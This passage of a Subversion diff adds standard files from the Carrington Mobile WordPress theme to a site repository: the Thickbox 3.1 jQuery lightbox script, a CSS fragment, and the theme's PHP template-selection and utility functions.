+
+#TB_iframeContent{
+	clear:both;
+	border:none;
+	margin-bottom:-1px;
+	margin-top:1px;
+	_margin-bottom:1px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/lightbox/thickbox.js	(revision 44)
@@ -0,0 +1,332 @@
+/*
+ * Thickbox 3.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+		  
+var tb_pathToImage = "images/loadingAnimation.gif";
+
+/*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/
+
+//on page load call tb_init
+jQuery(document).ready(function(){   
+	tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox
+	imgLoader = new Image();// preload image
+	imgLoader.src = tb_pathToImage;
+});
+
+//add thickbox to href & area elements that have a class of .thickbox
+function tb_init(domChunk){
+	jQuery(domChunk).click(function(){
+	var t = this.title || this.name || null;
+	var a = this.href || this.alt;
+	var g = this.rel || false;
+	tb_show(t,a,g);
+	this.blur();
+	return false;
+	});
+}
+
+function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+	try {
+		if (typeof document.body.style.maxHeight === "undefined") {//if IE 6
+			jQuery("body","html").css({height: "100%", width: "100%"});
+			jQuery("html").css("overflow","hidden");
+			if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6
+				jQuery("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}else{//all others
+			if(document.getElementById("TB_overlay") === null){
+				jQuery("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>");
+				jQuery("#TB_overlay").click(tb_remove);
+			}
+		}
+		
+		if(tb_detectMacXFF()){
+			jQuery("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash
+		}else{
+			jQuery("#TB_overlay").addClass("TB_overlayBG");//use background and opacity
+		}
+		
+		if(caption===null){caption="";}
+		jQuery("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page
+		jQuery('#TB_load').show();//show loader
+		
+		var baseURL;
+	   if(url.indexOf("?")!==-1){ //ff there is a query string involved
+			baseURL = url.substr(0, url.indexOf("?"));
+	   }else{ 
+	   		baseURL = url;
+	   }
+	   
+	   var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/;
+	   var urlType = baseURL.toLowerCase().match(urlString);
+
+		if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+				
+			TB_PrevCaption = "";
+			TB_PrevURL = "";
+			TB_PrevHTML = "";
+			TB_NextCaption = "";
+			TB_NextURL = "";
+			TB_NextHTML = "";
+			TB_imageCount = "";
+			TB_FoundURL = false;
+			if(imageGroup){
+				TB_TempArray = jQuery("a[@rel="+imageGroup+"]").get();
+				for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) {
+					var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+						if (!(TB_TempArray[TB_Counter].href == url)) {						
+							if (TB_FoundURL) {
+								TB_NextCaption = TB_TempArray[TB_Counter].title;
+								TB_NextURL = TB_TempArray[TB_Counter].href;
+								TB_NextHTML = "<a id='TB_next' href='#'>Next &gt;</a>";
+							} else {
+								TB_PrevCaption = TB_TempArray[TB_Counter].title;
+								TB_PrevURL = TB_TempArray[TB_Counter].href;
+								TB_PrevHTML = "<a id='TB_prev' href='#'>&lt; Prev</a>";
+							}
+						} else {
+							TB_FoundURL = true;
+							TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length);											
+						}
+				}
+			}
+
+			imgPreloader = new Image();
+			imgPreloader.onload = function(){		
+			imgPreloader.onload = null;
+
+// preload patch from: http://drupal.org/files/issues/thickbox_preloadimage.patch
+prevImg = new Image();
+nextImg = new Image();
+var tb_links = jQuery('a[@class="thickbox"]');
+var i = -1;
+tb_links.each(function(n) { if (this.href == imgPreloader.src) { i = n; } });
+if (i != -1) {
+	if (i > 0) { prevImg.src = tb_links[i-1].href; }
+	if (i+1 < tb_links.length) { nextImg.src = tb_links[i+1].href; }
+}
+
+
+			// Resizing large images - orginal by Christian Montoya edited by me.
+			var pagesize = tb_getPageSize();
+			var x = pagesize[0] - 150;
+			var y = pagesize[1] - 170;
+			var imageWidth = imgPreloader.width;
+			var imageHeight = imgPreloader.height;
+			if (imageWidth > x) {
+				imageHeight = imageHeight * (x / imageWidth); 
+				imageWidth = x; 
+				if (imageHeight > y) { 
+					imageWidth = imageWidth * (y / imageHeight); 
+					imageHeight = y; 
+				}
+			} else if (imageHeight > y) { 
+				imageWidth = imageWidth * (y / imageHeight); 
+				imageHeight = y; 
+				if (imageWidth > x) { 
+					imageHeight = imageHeight * (x / imageWidth); 
+					imageWidth = x;
+				}
+			}
+			// End Resizing
+			
+			
+			/* TODO: auto-calculate heights based on jQuery.height() of elements */
+			TB_WIDTH = imageWidth + 30;
+			TB_HEIGHT = imageHeight + 130;
+			jQuery("#TB_window").append("<div id='TB_title'><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><div id='TB_ImageWrapper' style='height:"+imageHeight+"px;width:"+imageWidth+"px;'><div id='TB_ImageHoverNav'>"+TB_PrevHTML+TB_NextHTML+"</div><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></div><div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + "</div></div>");
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+			if (!(TB_PrevHTML === "")) {
+				function goPrev(){
+					if(jQuery(document).unbind("click",goPrev)){jQuery(document).unbind("click",goPrev);}
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+					return false;	
+				}
+				jQuery("#TB_prev").click(goPrev);
+			}
+			
+			if (!(TB_NextHTML === "")) {		
+				function goNext(){
+					jQuery("#TB_window").remove();
+					jQuery("body").append("<div id='TB_window'></div>");
+					tb_show(TB_NextCaption, TB_NextURL, imageGroup);
+					return false;
+				}
+				jQuery("#TB_next").click(goNext);
+				
+			}
+
+			document.onkeydown = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				} else if(keycode == 190 || keycode == 39){ // display next image
+					if(!(TB_NextHTML == "")){
+						document.onkeydown = "";
+						goNext();
+					}
+				} else if(keycode == 188 || keycode == 37){ // display previous image
+					if(!(TB_PrevHTML == "")){
+						document.onkeydown = "";
+						goPrev();
+					}
+				}	
+			};
+			
+			tb_position();
+			jQuery("#TB_load").remove();
+			jQuery("#TB_ImageOff").click(tb_remove);
+			jQuery("#TB_window").css({display:"block"}); //for safari using css instead of show
+			};
+			
+			imgPreloader.src = url;
+		}else{//code to show html
+			
+			var queryString = url.replace(/^[^\?]+\??/,'');
+			var params = tb_parseQuery( queryString );
+
+			TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL
+			TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL
+			ajaxContentW = TB_WIDTH - 30;
+			ajaxContentH = TB_HEIGHT - 45;
+			
+			if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window		
+					urlNoQuery = url.split('TB_');
+					jQuery("#TB_iframeContent").remove();
+					if(params['modal'] != "true"){//iframe no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>");
+					}else{//iframe modal
+					jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>");
+					}
+			}else{// not an iframe, ajax
+					if(jQuery("#TB_window").css("display") != "block"){
+						if(params['modal'] != "true"){//ajax no modal
+						jQuery("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a> or Esc Key</div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>");
+						}else{//ajax modal
+						jQuery("#TB_overlay").unbind();
+						jQuery("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");	
+						}
+					}else{//this means the window is already up, we are just loading new content via ajax
+						jQuery("#TB_ajaxContent")[0].style.width = ajaxContentW +"px";
+						jQuery("#TB_ajaxContent")[0].style.height = ajaxContentH +"px";
+						jQuery("#TB_ajaxContent")[0].scrollTop = 0;
+						jQuery("#TB_ajaxWindowTitle").html(caption);
+					}
+			}
+					
+			jQuery("#TB_closeWindowButton").click(tb_remove);
+			
+				if(url.indexOf('TB_inline') != -1){	
+					jQuery("#TB_ajaxContent").append(jQuery('#' + params['inlineId']).children());
+					jQuery("#TB_window").unload(function () {
+						jQuery('#' + params['inlineId']).append( jQuery("#TB_ajaxContent").children() ); // move elements back when you're finished
+					});
+					tb_position();
+					jQuery("#TB_load").remove();
+					jQuery("#TB_window").css({display:"block"}); 
+				}else if(url.indexOf('TB_iframe') != -1){
+					tb_position();
+					if($.browser.safari){//safari needs help because it will not fire iframe onload
+						jQuery("#TB_load").remove();
+						jQuery("#TB_window").css({display:"block"});
+					}
+				}else{
+					jQuery("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method
+						tb_position();
+						jQuery("#TB_load").remove();
+						tb_init("#TB_ajaxContent a.thickbox");
+						jQuery("#TB_window").css({display:"block"});
+					});
+				}
+			
+		}
+
+		if(!params['modal']){
+			document.onkeyup = function(e){ 	
+				if (e == null) { // ie
+					keycode = event.keyCode;
+				} else { // mozilla
+					keycode = e.which;
+				}
+				if(keycode == 27){ // close
+					tb_remove();
+				}	
+			};
+		}
+		
+	} catch(e) {
+		//nothing here
+	}
+}
+
+//helper functions below
+function tb_showIframe(){
+	jQuery("#TB_load").remove();
+	jQuery("#TB_window").css({display:"block"});
+}
+
+function tb_remove() {
+ 	jQuery("#TB_imageOff").unbind("click");
+	jQuery("#TB_closeWindowButton").unbind("click");
+	jQuery("#TB_window").fadeOut("fast",function(){jQuery('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();});
+	jQuery("#TB_load").remove();
+	if (typeof document.body.style.maxHeight == "undefined") {//if IE 6
+		jQuery("body","html").css({height: "auto", width: "auto"});
+		jQuery("html").css("overflow","");
+	}
+	document.onkeydown = "";
+	document.onkeyup = "";
+	return false;
+}
+
+function tb_position() {
+jQuery("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'});
+	if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6
+		jQuery("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'});
+	}
+}
+
+function tb_parseQuery ( query ) {
+   var Params = {};
+   if ( ! query ) {return Params;}// return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) {continue;}
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function tb_getPageSize(){
+	var de = document.documentElement;
+	var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
+	var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight;
+	arrayPageSize = [w,h];
+	return arrayPageSize;
+}
+
+function tb_detectMacXFF() {
+  var userAgent = navigator.userAgent.toLowerCase();
+  if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) {
+    return true;
+  }
+}
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/templates.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/templates.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/templates.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_page($file = '') {
+	if (empty($file)) {
+		$file = cfct_default_file('pages');
+	}
+	cfct_template_file('pages', $file);
+}
+
+function cfct_header() {
+	$file = cfct_choose_general_template('header');
+	cfct_template_file('header', $file);
+}
+
+function cfct_footer() {
+	$file = cfct_choose_general_template('footer');
+	cfct_template_file('footer', $file);
+}
+
+function cfct_sidebar() {
+	$file = cfct_choose_general_template('sidebar');
+	cfct_template_file('sidebar', $file);
+}
+
+function cfct_posts() {
+	$file = cfct_choose_general_template('posts');
+	cfct_template_file('posts', $file);
+}
+
+function cfct_single() {
+	$file = cfct_choose_general_template('single');
+	cfct_template_file('single', $file);
+}
+
+function cfct_attachment() {
+	$file = cfct_choose_general_template('attachment');
+	cfct_template_file('attachment', $file);
+}
+
+function cfct_loop() {
+	$file = cfct_choose_general_template('loop');
+	cfct_template_file('loop', $file);
+}
+
+function cfct_content() {
+	$file = cfct_choose_content_template();
+	cfct_template_file('content', $file);
+}
+
+function cfct_excerpt() {
+	$file = cfct_choose_content_template('excerpt');
+	cfct_template_file('excerpt', $file);
+}
+
+function cfct_comments() {
+	$file = cfct_choose_general_template('comments');
+	cfct_template_file('comments', $file);
+}
+
+function cfct_comment($data = null) {
+	$file = cfct_choose_comment_template();
+	cfct_template_file('comment', $file, $data);
+}
+
+function cfct_threaded_comment($comment, $args = array(), $depth) {
+	$GLOBALS['comment'] = $comment;
+	$data = array(
+		'args' => $args,
+		'depth' => $depth,
+	);
+	cfct_template_file('comments', 'threaded', $data);
+}
+
+function cfct_form($name = '') {
+	cfct_template_file('forms', $name);
+}
+
+function cfct_misc($name = '') {
+	cfct_template_file('misc', $name);
+}
+
+function cfct_error($name = '') {
+	cfct_template_file('error', $name);
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/utility.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/utility.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/utility.php	(revision 44)
@@ -0,0 +1,692 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_die($str = '') {
+	if (!empty($str)) {
+		include(CFCT_PATH.'error/exit.php');
+		die();
+	}
+}
+
+function cfct_banner($str = '') {
+	if (!empty($str)) {
+		include(CFCT_PATH.'misc/banner.php');
+	}
+}
+
+function cfct_get_option($name) {
+	$defaults = array(
+		'cfct_credit' => 'yes',
+		'cfct_lightbox' => 'yes',
+		'cfct_header_image' => 0,
+	);
+	$defaults = apply_filters('cfct_option_defaults', $defaults);
+	$value = get_option($name);
+	if ($value == '' && isset($defaults[$name])) {
+		$value = $defaults[$name];
+	}
+	return $value;
+}
+
+function cfct_load_plugins() {
+	$files = cfct_files(CFCT_PATH.'plugins');
+	foreach ($files as $file) {
+		include(CFCT_PATH.'plugins/'.$file);
+	}
+}
+
+function cfct_default_file($dir) {
+	$fancy = $dir.'-default.php';
+	file_exists(CFCT_PATH.$dir.'/'.$fancy) ? $default = $fancy : $default = 'default.php';
+	return $default;
+}
+
+function cfct_context() {
+	$context = 'home';
+	if (is_page()) {
+		$context = 'page';
+	}
+	else if (is_single()) {
+		$context = 'single';
+	}
+	else if (is_category()) {
+		$context = 'category';
+	}
+	else if (is_tag()) {
+		$context = 'tag';
+	}
+	else if (is_author()) {
+		$context = 'author';
+	}
+	else if (is_archive()) {
+// possible future abstraction for:
+// 	is_month()
+// 	is_year()
+// 	is_day()
+		$context = 'archive';
+	}
+	else if (is_search()) {
+		$context = 'search';
+	}
+	else if (is_home()) {
+		$context = 'home';
+		// TODO - check page #
+	}
+	else if (is_404()) {
+		$context = '404';
+	}
+	return apply_filters('cfct_context', $context);
+}
+
+/**
+ * @param $template = folder name of file
+ * @param $type = file name of file
+ * @param $keys = keys that could be used for additional filename params
+ * returns false if file does not exist
+ *
+ */
+function cfct_filename($dir, $type = 'default', $keys = array()) {
+	switch ($type) {
+		case 'author':
+			if (count($keys)) {
+				$file = 'author-'.$keys[0];
+			}
+			else {
+				$file = 'author';
+			}
+			break;
+		case 'category':
+			if (count($keys)) {
+				$file = 'cat-'.$keys[0];
+			}
+			else {
+				$file = 'category';
+			}
+			break;
+		case 'tag':
+			if (count($keys)) {
+				$file = 'tag-'.$keys[0];
+			}
+			else {
+				$file = 'tag';
+			}
+			break;
+		case 'meta':
+			if (count($keys)) {
+				foreach ($keys as $k => $v) {
+					if (!empty($v)) {
+						$file = 'meta-'.$k.'-'.$v;
+					}
+					else {
+						$file = 'meta-'.$k;
+					}
+					break;
+				}
+			}
+			break;
+		case 'user':
+			if (count($keys)) {
+				$file = 'user-'.$keys[0];
+			}
+			break;
+		case 'role':
+			if (count($keys)) {
+				$file = 'role-'.$keys[0];
+			}
+			break;
+		case 'parent':
+			if (count($keys)) {
+				$file = 'parent-'.$keys[0];
+			}
+			break;
+		default:
+		// handles page, etc.
+			$file = $type;
+	}
+	// fallback for category, author, tag, etc.
+	$path = CFCT_PATH.$dir.'/'.$file.'.php';
+	if (!file_exists($path)) {
+		switch ($type) {
+			case 'author':
+			case 'category':
+			case 'tag':
+				$archive_file = CFCT_PATH.$dir.'/archive.php';
+				if (file_exists($archive_file)) {
+					$path = $archive_file;
+				}
+		}
+	}
+	$default = CFCT_PATH.$dir.'/'.cfct_default_file($dir);
+	if (file_exists($path)) {
+		$path = $path;
+	}
+	else if (file_exists($default)) {
+		$path = $default;
+	}
+	else {
+		$path = false;
+	}
+	return apply_filters('cfct_filename', $path);
+}
+
+function cfct_template($dir, $keys = array()) {
+	$context = cfct_context();
+	$file = cfct_filename($dir, $context, $keys);
+	if ($file) {
+		include($file);
+	}
+	else {
+		cfct_die('Error loading '.$dir.' '.__LINE__);
+	}
+}
+
+function cfct_template_file($dir, $file, $data = null) {
+	$path = '';
+	if (!empty($file)) {
+		$file = basename($file, '.php');
+		$path = CFCT_PATH.$dir.'/'.$file.'.php';
+	}
+	if (file_exists($path)) {
+		include($path);
+	}
+	else {
+		cfct_die('Error loading '.$file.' '.__LINE__);
+	}
+}
+
+function cfct_choose_general_template($dir) {
+	$exec_order = array(
+		'author'
+		, 'role'
+		, 'category'
+		, 'tag'
+		, 'single'
+		, 'default'
+	);
+	$new_exec_order = apply_filters('cfct_general_match_order', $exec_order);
+	$files = cfct_files(CFCT_PATH.$dir);
+	foreach ($new_exec_order as $func) {
+		$func_name = 'cfct_choose_general_template_'.$func;
+		if (function_exists($func_name)) {
+			$filename = $func_name($dir, $files);
+			if ($filename != false) {
+				break;
+			}
+		}
+	}
+	return apply_filters('cfct_choose_general_template', $filename, $dir);
+}
+
+function cfct_choose_general_template_author($dir, $files) {
+	$files = cfct_author_templates($dir, $files);
+	if (count($files)) {
+		$username = get_query_var('author_name');
+		if (empty($username)) {
+			$user = new WP_User(get_query_var('author'));
+			$username = $user->user_login;
+		}
+		$filename = 'author-'.$username.'.php';
+		if (in_array($filename, $files)) {
+			$keys = array($username);
+			return cfct_filename($dir, 'author', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_category($dir, $files) {
+	$files = cfct_cat_templates($dir, $files);
+	if (count($files)) {
+		global $cat;
+		$slug = cfct_cat_id_to_slug($cat);
+		if (in_array('cat-'.$slug.'.php', $files)) {
+			$keys = array($slug);
+			return cfct_filename($dir, 'category', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_tag($dir, $files) {
+	$files = cfct_tag_templates($dir, $files);
+	if (count($files)) {
+		$tag = get_query_var('tag');
+		if (in_array('tag-'.$tag.'.php', $files)) {
+			$keys = array($tag);
+			return cfct_filename($dir, 'tag', $keys);
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_role($dir, $files) {
+	$files = cfct_role_templates($dir, $files);
+	if (count($files)) {
+		$username = get_query_var('author_name');
+		$user = new WP_User(cfct_username_to_id($username));
+		if (!empty($user->user_login)) {
+			if (count($user->roles)) {
+				foreach ($user->roles as $role) {
+					$role_file = 'role-'.$role.'.php';
+					if (in_array($role_file, $files)) {
+						return $role_file;
+					}
+				}
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_general_template_single($dir, $files) {
+	if (cfct_context() == 'single') {
+		$files = cfct_single_templates($dir, $files);
+		if (count($files)) {
+// check to see if we're in the loop.
+			global $post;
+			$orig_post = $post;
+			while (have_posts()) {
+				the_post();
+				$filename = cfct_choose_single_template($files, 'single-*');
+				if (!$filename) {
+					if (file_exists(CFCT_PATH.$dir.'/single.php')) {
+						$filename = 'single.php';
+					}
+				}
+			}
+			rewind_posts();
+			$post = $orig_post;
+			return $filename;
+		}
+	}
+	return false;
+}
+
+function cfct_choose_general_template_default($dir, $files) {
+	$context = cfct_context();
+	return cfct_filename($dir, $context);
+}
+
+function cfct_choose_single_template($files = array(), $filter = '*') {
+// must be called within the_loop - cfct_choose_general_template_single() approximates a loop for this reason.
+	$exec_order = array(
+		'author'
+		, 'meta'
+		, 'category'
+		, 'role'
+		, 'tag'
+		, 'parent' // for pages
+		, 'default'
+	);
+	$exec_order = apply_filters('cfct_single_match_order', $exec_order);
+	$filename = false;
+	global $post;
+	foreach ($exec_order as $type) {
+		switch ($type) {
+			case 'author':
+				$author_files = cfct_author_templates('', $files);
+				if (count($author_files)) {
+					$author = get_the_author_login();
+					$file = cfct_filename_filter('author-'.$author.'.php', $filter);
+					if (in_array($file, $author_files)) {
+						$filename = $file;
+					}
+				}
+				break;
+			case 'meta':
+				$meta_files = cfct_meta_templates('', $files);
+				if (count($meta_files)) {
+					$meta = get_post_custom($post->ID);
+					if (count($meta)) {
+// check key, value matches first
+						foreach ($meta as $k => $v) {
+							$val = $v[0];
+							$file = cfct_filename_filter('meta-'.$k.'-'.$val.'.php', $filter);
+							if (in_array($file, $meta_files)) {
+								$filename = $file;
+								break;
+							}
+						}
+// check key matches only
+						if (!$filename) {
+							foreach ($meta as $k => $v) {
+								$file = cfct_filename_filter('meta-'.$k.'.php', $filter);
+								if (in_array($file, $meta_files)) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'category':
+				$cat_files = cfct_cat_templates($type, $files);
+				if (count($cat_files)) {
+					foreach ($cat_files as $file) {
+						$cat_id = cfct_cat_filename_to_id($file);
+						if (in_category($cat_id)) {
+							$filename = $file;
+							break;
+						}
+					}
+				}
+				break;
+			case 'role':
+				$role_files = cfct_role_templates($type, $files);
+				if (count($role_files)) {
+					$user = new WP_User(get_the_author_ID());
+					if (count($user->roles)) {
+						foreach ($role_files as $file) {
+							foreach ($user->roles as $role) {
+								if (cfct_role_filename_to_name($file) == $role) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'tag':
+				$tag_files = cfct_tag_templates($type, $files);
+				if (count($tag_files)) {
+					$tags = get_the_tags($post->ID);
+					if (is_array($tags) && count($tags)) {
+						foreach ($tag_files as $file) {
+							foreach ($tags as $tag) {
+								if ($tag->slug == cfct_tag_filename_to_name($file)) {
+									$filename = $file;
+									break;
+								}
+							}
+						}
+					}
+				}
+				break;
+			case 'parent':
+				$parent_files = cfct_parent_templates($type, $files);
+				if (count($parent_files) && $post->post_parent > 0) {
+					$parent = cfct_post_id_to_slug($post->post_parent);
+					$file = cfct_filename_filter('parent-'.$parent.'.php', $filter);
+					if (in_array($file, $parent_files)) {
+						$filename = $file;
+					}
+				}
+				break;
+			case 'default':
+				break;
+		}
+		if ($filename) {
+			break;
+		}
+	}
+	return apply_filters('cfct_choose_single_template', $filename);
+}
+
+function cfct_choose_content_template($type = 'content') {
+	$files = cfct_files(CFCT_PATH.$type);
+	$filename = cfct_choose_single_template($files);
+	if (!$filename && cfct_context() == 'page' && file_exists(CFCT_PATH.$type.'/page.php')) {
+		$filename = 'page.php';
+	}
+	if (!$filename) {
+		$filename = cfct_default_file($type);
+	}
+	return apply_filters('cfct_choose_content_template', $filename, $type);
+}
+
+function cfct_choose_comment_template() {
+	$exec_order = array(
+		'ping'
+		, 'author'
+		, 'user'
+		, 'role'
+		, 'default'
+	);
+	$new_exec_order = apply_filters('cfct_comment_match_order', $exec_order);
+	$files = cfct_files(CFCT_PATH.'comment');
+	foreach ($new_exec_order as $func) {
+		$func_name = 'cfct_choose_comment_template_'.$func;
+		if (function_exists($func_name)) {
+			$filename = $func_name($files);
+			if ($filename != false) {
+				break;
+			}
+		}
+	}
+	return apply_filters('cfct_choose_comment_template', $filename);
+}
+
+function cfct_choose_comment_template_ping($files) {
+	global $comment;
+	if (in_array('ping.php', $files)) {
+		switch ($comment->comment_type) {
+			case 'pingback':
+			case 'trackback':
+				return 'ping';
+				break;
+		}
+	}
+	return false;
+}
+
+function cfct_choose_comment_template_author($files) {
+	global $post, $comment;
+	if (!empty($comment->user_id) && $comment->user_id == $post->post_author && in_array('author.php', $files)) {
+		return 'author';
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_user($files) {
+	global $comment;
+	$files = cfct_comment_templates('user', $files);
+	if (count($files) && !empty($comment->user_id)) {
+		$user = new WP_User($comment->user_id);
+		if (!empty($user->user_login)) {
+			$user_file = 'user-'.$user->user_login.'.php';
+			if (in_array($user_file, $files)) {
+				return $user_file;
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_role($files) {
+	global $comment;
+	$files = cfct_comment_templates('role', $files);
+	if (count($files) && !empty($comment->user_id)) {
+		$user = new WP_User($comment->user_id);
+		if (!empty($user->user_login)) {
+			if (count($user->roles)) {
+				foreach ($user->roles as $role) {
+					$role_file = 'role-'.$role.'.php';
+					if (in_array($role_file, $files)) {
+						return $role_file;
+					}
+				}
+			}
+		}
+ 	}
+	return false;
+}
+
+function cfct_choose_comment_template_default($files) {
+	return cfct_default_file('comment');
+}
+
+function cfct_files($path) {
+	$files = wp_cache_get('cfct_files_'.$path, 'cfct');
+	if ($files) {
+		return $files;
+	}
+	$files = array();
+	if ($handle = opendir($path)) {
+		while (false !== ($file = readdir($handle))) {
+			$path = trailingslashit($path);
+			if (is_file($path.$file) && strtolower(substr($file, -4, 4)) == ".php") {
+				$files[] = $file;
+			}
+		}
+	}
+	wp_cache_set('cfct_files_'.$path, $files, 'cfct', 3600);
+	return $files;
+}
+
+function cfct_filename_filter($filename, $filter) {
+	return str_replace('*', $filename, $filter);
+}
+
+function cfct_filter_files($files = array(), $prefix = '') {
+	$matches = array();
+	if (count($files)) {
+		foreach ($files as $file) {
+			if (strpos($file, $prefix) !== false) {
+				$matches[] = $file;
+			}
+		}
+	}
+	return $matches;
+}
+
+function cfct_meta_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'meta-');
+	return apply_filters('cfct_meta_templates', $matches);
+}
+
+function cfct_cat_templates($dir, $files = null) {
+	if (is_null($files)) {
+		$files = cfct_files(CFCT_PATH.$dir);
+	}
+	$matches = cfct_filter_files($files, 'cat-');
+	return apply_filters('cfct_cat_templates', $matches);
+}
+
+function cfct_tag_templates($dir, $files = null) {
+	if (is_null($files)) {
